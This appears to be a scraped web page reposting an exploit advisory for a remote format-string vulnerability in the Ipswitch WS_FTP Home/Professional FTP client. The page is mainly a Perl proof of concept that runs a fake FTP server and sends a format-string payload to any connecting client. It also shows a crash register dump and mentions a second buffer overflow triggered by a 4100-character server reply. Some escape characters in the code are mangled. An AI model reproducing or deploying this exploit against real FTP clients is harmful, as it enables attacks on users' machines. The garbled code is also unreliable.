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    WS_FTP,Home/Professional,FTP,Client,Remote,Format,String,PoC|Home键

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    ##################################################################################################################

    #

    # Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability

    # Vendor : http://www.ipswitch.com/

    # Affected Os : Windows *

    # Risk : critical

    #

    # This bug is pretty interresting in the way you have to exploit it in a weird way...

    #

    # With this PoC you"ll get a full control over EAX/ECX

    # (

    # eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab

    # eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0 nv up ei pl nz na po nc

    # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

    # USER32!CharLowerA 0x93:

    # 77d3ef68 8a10 mov dl,[eax] ds:0023:41414141=??

    # )

    # Fake Server PoC :

    use strict;

    use Socket; my $port = shift || 21;

    my $proto = getprotobyname("tcp");

    my $goodz = "x41x41x41x41x41x41x41x41%x%x%x%x%x%x%x%s"; my $visitor;

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)

    or die "To bad $!n";

    setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);

    bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "" ))

    or die "Shitz port $port is allready in use, shut down your ftp server !n";

    listen(SOCKET, 5) or die "Listen: $!";

    print "Fake Server started on port $portn";

    while ($visitor = accept(NEW_SOCKET, SOCKET)) {

    print NEW_SOCKET $goodz;

    close NEW_SOCKET;

    } # Anyways, in the WS_FTP Home client there"s still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ).

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